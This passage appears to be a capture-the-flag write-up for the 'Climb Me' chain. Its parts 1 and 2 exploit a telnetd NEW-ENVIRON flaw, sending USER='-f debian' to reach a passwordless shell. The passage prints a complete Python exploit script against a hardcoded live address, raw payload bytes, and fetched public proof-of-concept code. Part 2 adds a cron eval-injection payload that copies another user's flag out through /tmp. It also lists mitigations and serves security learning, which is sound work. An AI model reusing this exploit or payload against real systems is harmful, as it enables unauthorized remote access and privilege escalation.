|\n\nSo the operator note's claim that the protocol is \"custom\" is misleading \u2014 those bytes are a textbook Telnet option negotiation. Replying `WONT` (`ff fc`) to all of them produces a second negotiation round followed by an actual banner:\n\n```\nrecv1 b'fffd18fffd20fffd23fffd27fffd24'\nsend  b'fffc18fffc20fffc23fffc27fffc24'\nrecv  b'fffb03fffd01fffd22fffd1ffffb05fffd21'   # IAC WILL 3, IAC DO 1, ...\n...\nb'\\r\\nLinux 5.15.0-1102-azure (chal-94f3c510-58bc78968d-fl8r9) (pts/0)\\r\\n\\r\\n\n   chal-94f3c510-58bc78968d-fl8r9 login: '\n```\n\nThe banner shape (`\\r\\nLinux  () (pts/N)\\r\\n\\r\\n login: `) is the unmistakable output of util-linux `agetty` followed by `login`. The challenge image is therefore a Linux container exposing `telnetd` (or an equivalent) wired into `/bin/login`.\n\nAttack surface, summarised:\n\n- **Pre-auth Telnet protocol layer** \u2014 option negotiation, sub-negotiation (subnego), TERMINAL-TYPE / NEW-ENVIRON / ENVIRON payloads.\n- **Login layer** \u2014 username field, password field. The username is fed verbatim to `login(1)`'s argv after the prompt.\n- **Post-auth** \u2014 anything the resulting shell can do, but only reachable after one of the previous two surfaces leaks.\n\nThere is no binary to disassemble: this is a protocol-/configuration-level pwn, not a memory-corruption challenge.\n\n## Static analysis (protocol level)\n\nWithout a binary, \"static analysis\" means reading the relevant RFCs against the packet exchange.\n\n**RFC 854 \u2014 Telnet base.** Commands have the shape `IAC  `. We saw the server asking us to pass it five different options.\n\n**RFC 1572 \u2014 NEW-ENVIRON (option 39).** Once both sides have agreed (`DO`/`WILL`), either side can send sub-negotiations of the form\n\n```\nIAC SB 39    [ ]... IAC SE\n```\n\nwhere:\n\n| Code | Meaning   |\n|------|-----------|\n| 0    | IS        |\n| 1    | SEND      |\n| 2    | INFO      |\n| `` 0 | VAR     (well-known: `USER`, `JOB`, `ACCT`, `PRINTER`, `SYSTEMTYPE`, `DISPLAY`) |\n| `` 1 | VALUE   |\n| `` 3 | USERVAR (any name) |\n\nIn particular, `VAR \"USER\" VALUE \"\"` proposes that the connecting user is ``. In the historical util-linux flow:\n\n1. `telnetd` reads the `NEW-ENVIRON` IS payload from the client.\n2. It exports each `VAR` into the environment of its child process.\n3. It `exec`s `/bin/login -h  -p` (or similar).\n4. `login` consults `$USER` to skip the *username* prompt and go directly to the *password* prompt.\n\nThis is exactly the behaviour observed during enumeration: with `USER=root` set via NEW-ENVIRON, the server skips the `login:` prompt entirely:\n\n```\nUSER b'root'\nTEXT b'\\r\\nLinux 5.15.0-1102-azure (chal-94f3c510-58bc78968d-fl8r9) (pts/0)\\r\\n\\r\\nPassword: '\nEV [(39, '01'), (24, '01')]\n```\n\nThat is the smoking gun \u2014 `Password: ` appears without us ever sending anything resembling a username. The `[(39, '01'), ...]` row records the inbound `IAC SB 39 SEND IAC SE` request the server emits when it wants the values.\n\n## Vulnerability identification\n\nThe bug is the well\u2011known **`/bin/login` argv injection** (sometimes catalogued as CVE-2001-0797 in its original BSD form). It is enabled here by the combination of two design choices:\n\n1. The Telnet front-end honours the client's `NEW-ENVIRON` `USER` variable and propagates it across the `exec` boundary into `login`'s environment / argv handling.\n2. `util-linux login`'s argument parser still recognises the `-f ` flag, which means *\"the user has already been authenticated, do not prompt for a password\"*. When a `USER` value beginning with `-` arrives on the command line (or is passed verbatim into `argv`), `getopt` happily consumes it as an option.\n\nEmpirically, sending `USER=root` only causes `login` to skip the username prompt \u2014 `root` is a sane username, `getopt` sees no option, and the `Password:` prompt still fires:\n\n```\nUSER b'root'   ...   TEXT b'... Password: '\n```\n\nBut sending a value that **starts with `-`** changes how `login` parses argv. The trace contains the controlled experiment that proves it:\n\n```\nUSER b'-froot'    pre b''      out b''    ; connection dropped\nUSER b'--help'    pre b''      out b''\nUSER b'-h'        pre b''      out b''\nUSER b'-f'        pre b''      out b''\nUSER b'-f root'   pre b''      out b''    ; -f root: but no such user\n...\nUSER b'-f debian' TXT b'...itted by applicable law.\\r\\n\n                       \\x1b[?2004h\\x1b]0;debian@chal-...:~\\x07\n                       debian@chal-...:~$ '             ; SHELL!\n```\n\nNotable contrasts:\n\n- `USER='root'` (no leading dash): username pre\u2011filled, password still required \u2014 login prompts and rejects.\n- `USER='-f root'`: argv parser treats `-f` as the \"force\" flag and `root` as the operand, but the `root` account does not exist on this minimal Debian image, so `login` exits and the connection drops with ``.\n- `USER='-f debian'`: `-f` is the flag, `debian` is the (existing) account \u2014 `login` executes the user's shell **without ever asking for a password**. The terminal title sequence `\\x1b]0;debian@chal-...\\x07` and the prompt `debian@chal-...:~$` confirm a live shell.\n\nWhy mitigations don't stop it:\n\n- This is not a memory corruption bug, so ASLR / NX / PIE / RELRO / canaries are irrelevant.\n- The CTF container does not enforce a non-root login restriction (e.g. there is no `/etc/securetty`-style filter that would reject usernames containing `-`).\n- `login` does not validate `$USER` against `[A-Za-z_][A-Za-z0-9_-]*` before re\u2011exec'ing or before passing it to `getopt`.\n\n## Primitive construction\n\nThe primitive is a single, self-contained NEW-ENVIRON sub-negotiation. The wire encoding (RFC 1572 \u00a72) is:\n\n```\nIAC  SB   NEW-ENV  IS   VAR   \"USER\"   VALUE   \"\"   IAC  SE\n0xFF 0xFA 0x27     0x00 0x00  55 53 45 52  0x01  ...       0xFF 0xF0\n```\n\nAnnotated alongside what each byte means:\n\n```\nff fa 27          ; IAC SB option=39 (NEW-ENVIRON)\n00                ; IS         (1572: 0=IS, 1=SEND, 2=INFO)\n00                ; VAR        (1572: 0=VAR \u2014 i.e. \"well-known\")\n55 53 45 52       ; \"USER\"\n01                ; VALUE      (1572: 1=VALUE)\n2d 66 20 64 65 62 69 61 6e   ; \"-f debian\"\nff f0             ; IAC SE\n```\n\nIn Python this is encoded as:\n\n```python\nIAC, SB, SE = 0xFF, 0xFA, 0xF0\nNEW_ENV, IS, VAR, VALUE = 39, 0, 0, 1\ndef env_payload(value: bytes) -> bytes:\n    return (bytes([IAC, SB, NEW_ENV, IS, VAR]) + b'USER'\n            + bytes([VALUE]) + value\n            + bytes([IAC, SE]))\n```\n\nThe full negotiation handshake we must emulate has three rules:\n\n| Inbound  | Reply              | Reason                                                |\n|----------|--------------------|-------------------------------------------------------|\n| `DO 24`  | `WILL 24`          | accept TERMINAL-TYPE \u2014 server insists                 |\n| `DO 39`  | `WILL 39`          | accept NEW-ENVIRON \u2014 required to push `USER`          |\n| `DO  X`  | `WONT X` (else)    | refuse other options                                   |\n| `WILL X` | `DONT X`           | we don't want server-driven options                   |\n\nThe trace confirms that this exact pair `{24, 39}` is the minimal acceptance set that produces the `Password:`/shell flow:\n\n```\nALLOW {24, 39}\nTEXT b'\\r\\nLinux 5.15.0-1102-azure (chal-...) (pts/0)\\r\\n\\r\\nPassword: '\nEV [(39, '01'), (24, '01')]   ; server SENDs both \u2014 we IS them\n```\n\nStack/byte diagram of the single critical packet on the wire (after option agreement):\n\n```\noffset  byte   meaning\n   0    FF     IAC\n   1    FA     SB\n   2    27     option = 39 (NEW-ENVIRON)\n   3    00     IS\n   4    00     VAR        --+\n   5    55     'U'          |  variable name \"USER\"\n   6    53     'S'          |\n   7    45     'E'          |\n   8    52     'R'        --+\n   9    01     VALUE      --+\n  10    2D     '-'          |\n  11    66     'f'          |\n  12    20     ' '          |  variable value \"-f debian\"\n  13    64     'd'          |\n  14    65     'e'          |\n  15    62     'b'          |\n  16    69     'i'          |\n  17    61     'a'          |\n  18    6E     'n'        --+\n  19    FF     IAC\n  20    F0     SE\n```\n\n### Earlier failed primitives (and why)\n\nThe trace contains a long list of attempts that did not work. They are instructive:\n\n- **Plain login attempts** (`(root,root)`, `(admin,admin)`, etc.) \u2014 every credential combination returned `\\r\\n\\r\\nLogin incorrect\\r\\n`:\n  ```\n  TRY (b'root', b'root')   ...   after pass= b'\\r\\n'   then \"Login incorrect\"\n  ```\n  No standard creds; brute force is hopeless without a wordlist tied to the challenge.\n\n- **Stack overflow probe** in the username field, lengths `16\u20268192`:\n  ```\n  n 2048 closed False out b'\\r\\n...login: foo\\r\\nPassword: \\r\\n'\n  n 4096 closed False out b'...'\n  ```\n  No crash, no extra echo, nothing diagnostic \u2014 this is `login`, not a homemade `gets()` toy.\n\n- **Format-string probe** `%p%p%p%p` in both username and password \u2014 server responds with the same `\\r\\n` it gives any wrong attempt, no leak.\n\n- **Oversized TERMINAL-TYPE** sub-negotiation (16 KiB of `'Z'`) \u2014 handled cleanly by `telnetd`, no crash.\n\n- **Username `-froot`** (no space): `login` argv interprets it as `-f` followed by the operand `root`, but per the argv split applied by `login`, the username would be `root`, which does not exist on this image. The connection drops:\n  ```\n  USER b'-froot'    out b''\n  ```\n  The minor punctuation (space vs no-space) is what matters: with a space we get `argv = [..., '-f', 'debian']`, without it we get `argv = [..., '-froot']` and a different parse path (or the same parse but bound to a non-existent user).\n\n- **Wrong target accounts** under the `-f ` form: `root`, `user`, `admin`, `operator`, `guest`, `nobody`, `ctf`, `p4t4t0rz`, `www-data`, `daemon`, `sys`, `app`, `service`, `challenge`, `bot`, `c2`, `killbot`, `ubuntu`, `test`, `sh`, `bash`, `zsh` \u2014 all ``. Only `debian` produces a shell:\n  ```\n  USER b'-f ubuntu' TXT b''\n  USER b'-f debian' TXT b'...debian@chal-...:~$ '   ; <-- only hit\n  USER b'-f user'   TXT b''\n  ```\n  The hit lines up with the operator-note `Image: pwn-challenge:main Debian-based`; on a Debian-based container the unprivileged user typically is named `debian`.\n\n## Exploitation chain\n\n1. **Open TCP socket** to `20.40.135.232:48988`.\n2. **Run the Telnet option machine** continuously: parse inbound IAC commands, reply `WILL 24`, `WILL 39`, otherwise `WONT/DONT`.\n3. **As soon as the server emits `IAC SB 39 SEND IAC SE`** (the request for environment values \u2014 visible as the `(39, '01')` event), reply with `IAC SB 39 IS VAR \"USER\" VALUE \"-f debian\" IAC SE`.\n4. **`login`** is then invoked (effectively) as `login -f debian`, which skips the password prompt and exec's `bash` for the `debian` user.\n5. **Run `cat /home/debian/flag.txt`** in the resulting shell.\n\nThe trace shows the exact moment the chain succeeds:\n\n```\n---SHELL-BANNER---\n\nLinux 5.15.0-1102-azure (chal-94f3c510-58bc78968d-fl8r9) (pts/0)\n\nLinux chal-94f3c510-58bc78968d-fl8r9 5.15.0-1102-azure #111-Ubuntu SMP Fri Nov 21 22:22:11 UTC 2025 x86_64\n\nThe programs included with the Debian GNU/Linux system are free software;\nthe exact distribution terms for each program are described in the\nindividual files in /usr/share/doc/*/copyright.\n\nDebian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent\npermitted by applicable law.\nLast login: ...\n```\n\nand then:\n\n```\ncat /home/debian/flag.txt\n[?2004l THC{D0nt_Us3-Teln3t!}\n[?2004h]0;debian@chal-94f3c510-58bc78968d-fl8r9: ~debian@chal-...:~$\n```\n\n(The `[?2004l` / `[?2004h` are bracketed-paste mode toggles emitted by readline before/after each command \u2014 proof that we are inside an interactive `bash`.)\n\n## Final exploit\n\nThe script below is self-contained: it implements just enough of RFC 854 / RFC 1572 to drive the negotiation, pushes the malicious `USER`, then dumps the flag.\n\n```python\n#!/usr/bin/env python3\n\"\"\"\nClimb Me (part 1/4) \u2014 foothold via Telnet NEW-ENVIRON USER='-f debian'.\n\nThe service speaks RFC 854 Telnet and exposes /bin/login.  We accept option 24\n(TERMINAL-TYPE) and option 39 (NEW-ENVIRON), then push USER=\"-f debian\" via a\nNEW-ENVIRON IS subnegotiation.  login(1) sees argv -f debian, treats it as\n\"already authenticated\" and execs /bin/bash for the debian user.\n\"\"\"\nimport socket, select, time\n\nHOST, PORT = '20.40.135.232', 48988\n\n# RFC 854 Telnet command bytes.\nIAC, SE, SB, WILL, WONT, DO, DONT = 0xFF, 0xF0, 0xFA, 0xFB, 0xFC, 0xFD, 0xFE\n# RFC 1572 NEW-ENVIRON (option 39) sub-negotiation codes.\nOPT_TT, OPT_NEW_ENV = 24, 39\nIS, SEND, INFO = 0, 1, 2\nVAR, VALUE, ESC, USERVAR = 0, 1, 2, 3\n\n# We accept these two server-side DO requests.  Anything else gets a hard WONT.\nACCEPT_DO = {OPT_TT, OPT_NEW_ENV}\nUSER_VALUE = b'-f debian'   # the argv-injection payload\n\ndef env_is_payload(user: bytes) -> bytes:\n    \"\"\"RFC 1572 IS payload announcing one well-known variable USER=.\"\"\"\n    body  = bytes([IS, VAR]) + b'USER' + bytes([VALUE]) + user\n    return bytes([IAC, SB, OPT_NEW_ENV]) + body + bytes([IAC, SE])\n\ndef negotiate_chunk(sock, data: bytes) -> bytes:\n    \"\"\"Process one chunk of inbound bytes.  Auto-reply to options.  When we\n    see an IAC SB 39 SEND, push USER.  Returns plain (non-Telnet) bytes.\"\"\"\n    out = bytearray()\n    i = 0\n    while i < len(data):\n        b = data[i]\n        if b != IAC:\n            out.append(b); i += 1; continue\n        # IAC \n        if i + 1 >= len(data): break\n        cmd = data[i+1]\n        if cmd in (DO, DONT, WILL, WONT):\n            if i + 2 >= len(data): break\n            opt = data[i+2]\n            if cmd == DO:\n                # Accept TERMINAL-TYPE + NEW-ENVIRON; refuse everything else.\n                resp = WILL if opt in ACCEPT_DO else WONT\n            elif cmd == WILL:\n                resp = DONT     # we don't want server-driven options\n            elif cmd == DONT:\n                resp = WONT\n            else:               # WONT\n                resp = DONT\n            sock.sendall(bytes([IAC, resp, opt]))\n            i += 3\n        elif cmd == SB:\n            # Sub-negotiation: read until IAC SE, doubled IAC -> single byte.\n            opt = data[i+2]\n            j = i + 3\n            sub = bytearray()\n            while j < len(data):\n                if data[j] == IAC and j + 1 < len(data):\n                    if data[j+1] == IAC:    # escaped IAC inside payload\n                        sub.append(IAC); j += 2; continue\n                    if data[j+1] == SE:\n                        j += 2; break\n                sub.append(data[j]); j += 1\n            i = j\n            # Server SENDs option 24 -> reply with a token TERMINAL-TYPE IS.\n            if opt == OPT_TT and sub[:1] == bytes([SEND]):\n                sock.sendall(bytes([IAC, SB, OPT_TT, IS])\n                             + b'xterm' + bytes([IAC, SE]))\n            # Server SENDs option 39 -> push USER='-f debian'.\n            elif opt == OPT_NEW_ENV and sub[:1] == bytes([SEND]):\n                sock.sendall(env_is_payload(USER_VALUE))\n        else:\n            # Bare command (NOP, AYT, GA, etc.) \u2014 skip.\n            i += 2\n    return bytes(out)\n\ndef read_for(sock, secs: float) -> bytes:\n    \"\"\"Drain the socket for `secs`, processing Telnet bytes inline.\"\"\"\n    end = time.time() + secs\n    out = bytearray()\n    while time.time() < end:\n        r, _, _ = select.select([sock], [], [], 0.1)\n        if not r: continue\n        chunk = sock.recv(4096)\n        if not chunk: break             # EOF\n        out += negotiate_chunk(sock, chunk)\n    return bytes(out)\n\ndef main():\n    s = socket.create_connection((HOST, PORT), timeout=5)\n    # Drain the initial server-pushed option dance plus the login banner.\n    banner = read_for(s, 2.0)\n    # By now the server has invoked login -f debian and dropped us in bash.\n    # Send the readout command and wait for the flag.\n    s.sendall(b'cat /home/debian/flag.txt\\n')\n    out = read_for(s, 2.0)\n    print('--- banner ---')\n    print(banner.decode('latin1', 'replace'))\n    print('--- output ---')\n    print(out.decode('latin1', 'replace'))\n\nif __name__ == '__main__':\n    main()\n```\n\nExpected output (matching the trace):\n\n```\n--- output ---\ncat /home/debian/flag.txt\n... THC{D0nt_Us3-Teln3t!}\ndebian@chal-...:~$\n```\n\n## Methodology / lessons\n\nThe challenge is rated `pwn` and the operator note nudges hard toward memory corruption (\"custom protocol\", \"format-string / stack BoF / heap UAF / type-confusion\"). The path that actually works runs *opposite* to that hint, and the order of investigations that arrived at it is the lesson:\n\n1. **Characterise the bytes before assuming a custom protocol.** The first 15 bytes contain `0xFF 0xFD ` triplets \u2014 those are five textbook Telnet negotiations, not a length-prefixed framing scheme. Recognising RFC 854 on sight saved hours of reverse-engineering a protocol that does not exist. The lesson: every byte \u2265 `0xF0` in a connection's first packet is suspicious; check the IAC table first.\n\n2. **Drive the protocol to the application layer.** Replying `WONT` to every option produced a Linux kernel banner and a `login:` prompt. That immediately reframed the problem: there is no homemade service to crash; `getty`/`login` is the surface.\n\n3. **Probe for memory-corruption bugs *and discard them quickly* when negative.** The trace records buffer-overflow attempts up to 8 KiB, format-string probes, and oversized TERMINAL-TYPE blobs \u2014 all benign. Confirming the negative result is what unlocks the next step instead of repeating the attempt with subtly different lengths.\n\n4. **Re-read the negotiation list with fresh eyes.** Of the offered options, `NEW-ENVIRON` (39) is the only one whose IS payload is *user-controlled name=value pairs*. That is the smallest unit of attacker-controlled data exposed before authentication. Anything that flows from such a channel into a privileged binary's argv or environment is the bug surface.\n\n5. **Map data-flow from `USER` value into `login`.** The empirical test (`USER=root` skips the username prompt; the `Password:` prompt appears) confirms the value is *being applied* to `login`, not merely stored. A leading `-` then probes whether the value is reaching argv (it is).\n\n6. **Enumerate the operand on `-f`.** `-f` needs an existing username. Iterate over plausible accounts; on a Debian-based image the unprivileged user is `debian`.\n\nThe generalisable pattern: **whenever a pre-auth protocol carries attacker-controlled strings into a privileged process, the first bug to look for is argv/env injection, not memory corruption**. Telnet's `NEW-ENVIRON`, RADIUS attribute injection, SMTP `EHLO` parameters, FTP `SITE` extensions, and HTTP `X-Forwarded-User` headers are all instances of the same shape.\n\n## Notes\n\n- The flag content (`THC{D0nt_Us3-Teln3t!}`) is itself the lesson: Telnet plus `login` plus a default Debian image gives an attacker exactly this primitive.\n- An alternative payload worth trying on hardened images would be `USER=-h -f` (combined `-h` and `-f`) to also lie about the source host in `/var/log/wtmp`. Not needed here.\n- Mitigations:\n  - In `login`: validate `$USER` against `[A-Za-z_][A-Za-z0-9_-]*` and reject any value beginning with `-` before reaching `getopt`.\n  - In `telnetd`: refuse `NEW-ENVIRON` outright, or strip well-known variables (`USER`, `LOGNAME`, `HOME`, `PATH`, `SHELL`) from the IS payload before forwarding to children.\n  - Architectural: do not run `telnetd` at all. Use SSH, which authenticates *before* exposing any user-controlled environment to a setuid binary.\n- The follow-on parts of the chain (`user \u2192 admin \u2192 root`) are out of scope for part 1 but presumably leverage SUID binaries, sudo rules, or kernel/container escapes from inside the `debian` shell now obtained.\n\n# Climb Me (part 2/4) \u2014 pwn\n\n> `THC{Watch_Y0ur-Cr0Ns}`\n\n## TL;DR\n\n- The service on `tcp/40579` is GNU `inetutils-telnetd` (Debian/Ubuntu build). It speaks the full RFC 854/1572 negotiation handshake and immediately requests options `0x18 0x20 0x23 0x27 0x24` (TTYPE / TSPEED / XDISPLOC / NEW-ENVIRON / OLD-ENVIRON) \u2014 see \u00a72.\n- Telnetd passes a client-supplied `USER` environment value straight through to `/bin/login` as a CLI argument. Sending `USER=-f ` smuggles `login`'s `-f` (skip authentication) flag into the child process: this is **CVE-2026-24061** (\u00a73, \u00a74).\n- `root` and most well-known accounts have authentication restricted, but the unprivileged shell user `debian` is reachable: `USER='-f debian'` returns a uid=1000 shell without ever entering a password (\u00a75).\n- Inside the box, a world-writable file `/home/monitor/bots.conf` is read line-by-line by `/usr/local/bin/check_bots_health`, which runs every minute as the `monitor` user and `eval`s each line into a `ping` command \u2014 a textbook command-injection-via-eval bug (\u00a76).\n- Appending a single payload line `127.0.0.1; /bin/sh -c 'cat /home/monitor/flag.txt > /tmp/monflag; chmod 644 /tmp/monflag'` and waiting for the next cron tick drops `monitor`'s flag into `/tmp/monflag` (\u00a77).\n\n## 1. Recon\n\nThe challenge ships no distfiles \u2014 the only artefact is the metadata describing the live target:\n\n```\n$ ls /challenge/distfiles\ntotal 4\ndrwxr-xr-x 2 root root   64 May  8 00:51 .\ndrwxr-xr-x 1 root root 4096 May  8 00:51 ..\n```\n\nThe metadata frames part 2 as the next step in a chain that started with a telnet foothold:\n\n```yaml\nname: 'Climb Me (part 2/4)'\ncategory: pwn\ndescription: |-\n  Continuation of Climb Me chain. Part 1 = telnet foothold.\n  - `nc 20.40.135.232 40579`\n  - Probably a continuation of the box from Part 1\n    (priv-esc to user \u2192 admin \u2192 root).\n  - Telnet-style protocol per Part 1\n```\n\nA bare TCP connect to the service yields the canonical telnet option-request banner:\n\n```\n$ python3 -c \"import socket; s=socket.create_connection(('20.40.135.232',40579),timeout=8); print(s.recv(1024))\"\nb\"\\xff\\xfd\\x18\\xff\\xfd \\xff\\xfd#\\xff\\xfd'\\xff\\xfd$\"\n```\n\nDecoded as RFC 854 IAC sequences (`0xff IAC`, `0xfd DO`):\n\n| Bytes | Meaning |\n|---|---|\n| `ff fd 18` | DO  TTYPE          (option 24) |\n| `ff fd 20` | DO  TSPEED         (option 32) |\n| `ff fd 23` | DO  XDISPLOC       (option 35) |\n| `ff fd 27` | DO  NEW-ENVIRON    (option 39, RFC 1572) |\n| `ff fd 24` | DO  OLD-ENVIRON    (option 36) |\n\nTwo things stand out. First, the server volunteers to accept *both* `OLD-ENVIRON` and `NEW-ENVIRON` \u2014 typical of `inetutils-telnetd`. Second, both env options exist precisely so a remote client can pre-populate variables like `TERM`, `DISPLAY`, **and `USER`** before login. That `USER` channel is the relevant attack surface.\n\nAfter completing the option dance and pressing Enter, the server prints a Linux/Debian banner and a `login:` prompt:\n\n```\n\\r\\nLinux 5.15.0-1102-azure (chal-db535b77-8bbddbdb4-26dxw) (pts/0)\\r\\n\n\\r\\nchal-db535b77-8bbddbdb4-26dxw login:\n```\n\nSo the daemon is a stock `telnetd` chaining into `/bin/login`, with no custom challenge wrapper.\n\n## 2. Driving the negotiation cleanly\n\nNaive negotiation \u2014 answering `WONT/DONT` to everything \u2014 gets the connection closed immediately after the env subnegotiation. The trace shows `telnetd` actively sending IAC SB sequences for `0x20`, `0x23`, `0x27`, `0x18`:\n\n```\nRECV b'\\xff\\xfa\\x20\\x01\\xff\\xf0\\xff\\xfa\\x23\\x01\\xff\\xf0\\xff\\xfa\\x27\\x01\\xff\\xf0\\xff\\xfa\\x18\\x01\\xff\\xf0'\n                  ^^^^^^^                ^^^^^^^                ^^^^^^^                ^^^^^^^\n                  TSPEED SEND            XDISPLOC SEND          NEW-ENVIRON SEND       TTYPE SEND\n```\n\nEach `IAC SB  0x01 IAC SE` is a `SEND` request. `telnetd` will not transition to login mode until it gets a corresponding `IAC SB  0x00 ... IAC SE` (`IS`) reply for the options it asked about. The minimum viable client therefore needs to:\n\n1. Reply `WILL` to `DO NEW-ENVIRON` (option 39).\n2. Reply `WONT` to other `DO`s it can't satisfy.\n3. When the server `SEND`s `NEW-ENVIRON`, ship an `IS` block carrying `USER=` and (optionally) `TERM=...`.\n\nThe minimal working client logic, distilled from the iterative trace, looks like:\n\n```python\nIAC=255; DO=253; DONT=254; WILL=251; WONT=252; SB=250; SE=240\nNEW=39; IS=0; VAR=0; VALUE=1\n\n# When the server says: IAC DO NEW-ENVIRON ...\ns.sendall(bytes([IAC, WILL, NEW]))\n\n# When the server says: IAC SB NEW-ENVIRON SEND IAC SE ...\npayload = '-f debian'\nmsg = (bytes([IAC, SB, NEW, IS, VAR]) + b'USER'\n       + bytes([VALUE]) + payload.encode()\n       + bytes([IAC, SE]))\ns.sendall(msg)\n```\n\nOther `DO`s are answered `WONT`; other `WILL`s are answered `DO` (mimicking a \"dumb\" client). With this, the server stops asking for things and prints the banner.\n\n## 3. Vulnerability identification: CVE-2026-24061 in `inetutils-telnetd`\n\nThe bug lives in how `inetutils-telnetd` builds the argv it hands to `/bin/login`. After parsing the client-supplied `USER` value out of `NEW-ENVIRON`, the daemon passes that string as a positional argument to `login`. `login` itself accepts the flag `-f ` to mean \"trust the caller, no password required\". Because `telnetd` neither rejects values starting with `-` nor inserts a `--` separator, a `USER` value of `-f ` becomes a real `-f` flag to `login`.\n\nTrace evidence linking the box to this CVE: a public PoC for the same advisory is fetched and confirms the protocol shape that drives the bug:\n\n```\nGET https://raw.githubusercontent.com/SafeBreach-Labs/CVE-2026-24061/main/telnet_rce.py\nHTTP 200 OK\nimport socket, sys, threading, time, argparse, re\n# --- Telnet Protocol Constants (RFC 854) ---\nIAC  = 255   DONT = 254   DO = 253   ...\n```\n\nA second public setup repository pins the exact upstream package the live target is running:\n\n```\nGET https://raw.githubusercontent.com/shivam-bathla/CVE-2026-24061-setup/main/Dockerfile\nHTTP 200 OK\n\nFROM ubuntu:24.04\nRUN apt-get update && \\\n    apt-get install -y inetutils-telnetd=2:2.5-3ubuntu4\nCOPY startup.sh /\nRUN chmod +x /startup.sh\nENTRYPOINT [ \"/startup.sh\" ]\n```\n\n```\nGET https://raw.githubusercontent.com/shivam-bathla/CVE-2026-24061-setup/main/startup.sh\nHTTP 200 OK\n\n#!/bin/bash\necho -e \"\\ntelnet stream tcp nowait root /usr/sbin/tcpd /usr/sbin/telnetd\" \\\n    >> /etc/inetd.conf\ninetutils-inetd --debug\n```\n\nSo the upstream advisory is for `inetutils-telnetd 2:2.5-3ubuntu4` invoked by `inetd` as `root`, which matches the live target's behaviour byte-for-byte.\n\nThe class is **argument injection / `-`-prefix-confusion** (CWE-88: improper neutralisation of argument delimiters). The mitigation that doesn't help: standard hardening like NX, ASLR, or even pam \u2014 the daemon is voluntarily passing `-f ` to `login`, so `login` happily authenticates without a password.\n\n## 4. Probing the bypass\n\nA first attempt with `USER='-f root'` against the target:\n\n```\nS WILL  39 fffb27\nS ENV   fffa 27 00 00 'USER' 01 '-f root' fff0\n                          ^^                ^^\n                          VAR/USER        VALUE/-f root\n...\n[CLOSED]\n```\n\nThe connection is dropped after env negotiation. `root` isn't reachable \u2014 either pam denies non-tty/non-secure logins for uid=0, or `/etc/securetty` excludes pseudo-tty consoles. Sweeping common login names with the same payload yields the relevant signal:\n\n```\nINTEREST ('ok', 'debian', '0.68s', '\\r\\nLinux 5.15.0-1102-azure ...\\r\\n')\n```\n\n`USER='-f debian'` no longer closes the socket; it survives long enough to print the post-login MOTD. Re-running with a follow-up shell command confirms a real interactive shell:\n\n```\nLinux chal-db535b77-8bbddbdb4-zql46 5.15.0-1102-azure #111-Ubuntu SMP\nThe programs included with the Debian GNU/Linux system are free software;\n...\nLast login: Fri May  8 01:12:43 UTC ...\ndebian@chal-db535b77-8bbddbdb4-zql46:~$\n```\n\nSo `debian` is the intended foothold. uid=1000, normal `/home/debian` shell, no password ever entered.\n\nThe exact NEW-ENVIRON bytes that win are:\n\n```\nff fa 27 00 00 55 53 45 52 01 2d 66 20 64 65 62 69 61 6e ff f0\n\u2502  \u2502  \u2502  \u2502  \u2502  \u2514\u2500\u2500\u2500\u2500U S E R\u2500\u2500\u2500\u2518 \u2502  \u2514\u2500\u2500\u2500\u2500\u2500'-f debian'\u2500\u2500\u2518 \u2502  \u2514 SE\n\u2502  \u2502  \u2502  \u2502  \u2502                   \u2502                       \u2514 IAC\n\u2502  \u2502  \u2502  \u2502  \u2502                   \u2514 VALUE  (0x01)\n\u2502  \u2502  \u2502  \u2502  \u2514 VAR    (0x00)\n\u2502  \u2502  \u2502  \u2514 IS        (0x00)\n\u2502  \u2502  \u2514 NEW-ENVIRON  (0x27)\n\u2502  \u2514 SB              (0xfa)\n\u2514 IAC                (0xff)\n```\n\n## 5. Post-foothold enumeration\n\nInside the `debian` shell the attacker enumerates SUID/SGID binaries, world-writable config, and anything cron-like that runs as another user. The relevant find:\n\n```\n===CHECK===\n-r-xr--r-- 1 monitor monitor    190 May  8 01:12 /usr/local/bin/check_bots_health\n-r-sr-x--- 1 admin   monitor 767736 May  8 01:12 /usr/local/bin/control_bots\n544  monitor monitor /usr/local/bin/check_bots_health\n4550 admin   monitor /usr/local/bin/control_bots\n```\n\nTwo interesting binaries:\n\n- `/usr/local/bin/control_bots` \u2014 setuid `admin`, executable only by group `monitor`. Useful for the **next** rung of the chain (admin), not this one.\n- `/usr/local/bin/check_bots_health` \u2014 owned by `monitor`, mode `0544`. World-readable so the `debian` user can inspect the source:\n\n```\n===CAT===\n#!/bin/bash\nCONFIG_FILE=\"/home/monitor/bots.conf\"\n\nif [ -f \"$CONFIG_FILE\" ]; then\n    while read -r target; do\n        eval \"ping -c 1 $target\" > /dev/nu...\n```\n\n(The trace truncates after `/dev/nu` but the relevant primitive is already visible.) The script reads each line of the config and feeds it directly to `eval`. Anything after a shell metacharacter (`;`, `|`, `&&`, `\\``, `$( )`) executes as a sub-command.\n\nThe config file's permissions and the flag location confirm the privesc target:\n\n```\nDIRECT\n-r-------- 1 admin   admin    22 May  8 01:12 /home/admin/flag.txt\n-rw-rw-rw- 1 monitor monitor 101 May  8 01:12 /home/monitor/bots.conf\n-r-------- 1 monitor monitor  22 May  8 01:12 /home/monitor/flag.txt\n  File: /home/monitor/bots.conf\n  Size: 101    Blocks: 8   IO Block: 4096   regular file\nDevice: 0,283  Inode: 4390770\nAccess: (0666/-rw-rw-rw-)  Uid: ( 1001/ monitor)  Gid: ( 1001/ monitor)\n```\n\n`/home/monitor/bots.conf` is mode `0666` (world-writable). `/home/monitor/flag.txt` is mode `0400`, readable only by `monitor`. The `check_bots_health` script runs as `monitor` (it's owned by `monitor` and triggered out of `monitor`'s crontab \u2014 confirmed empirically below by waiting for the next minute boundary). Therefore: write a payload line into `bots.conf`, wait for the cron to run it as `monitor`, and exfiltrate the flag through a world-readable side-channel like `/tmp`.\n\n## 6. The eval-injection primitive\n\nThe vulnerable line:\n\n```bash\nwhile read -r target; do\n    eval \"ping -c 1 $target\" > /dev/null ...\ndone\n```\n\n`$target` is unquoted *and* the whole string is then `eval`'d, so a single `;` terminates the `ping` and starts a fresh statement. The minimum payload is:\n\n```\n127.0.0.1; \n```\n\nThe leading `127.0.0.1; ` keeps the `ping` syntactically valid (which is cosmetic \u2014 `eval` doesn't care if the first command fails) and avoids any noisy tracebacks in logs.\n\nFor the actual exploit body, the payload must:\n\n1. Run as `monitor` \u2014 guaranteed by the cron context.\n2. Read `monitor`'s flag.\n3. Drop a copy to a path readable by `debian` (uid 1000).\n\nThe chosen 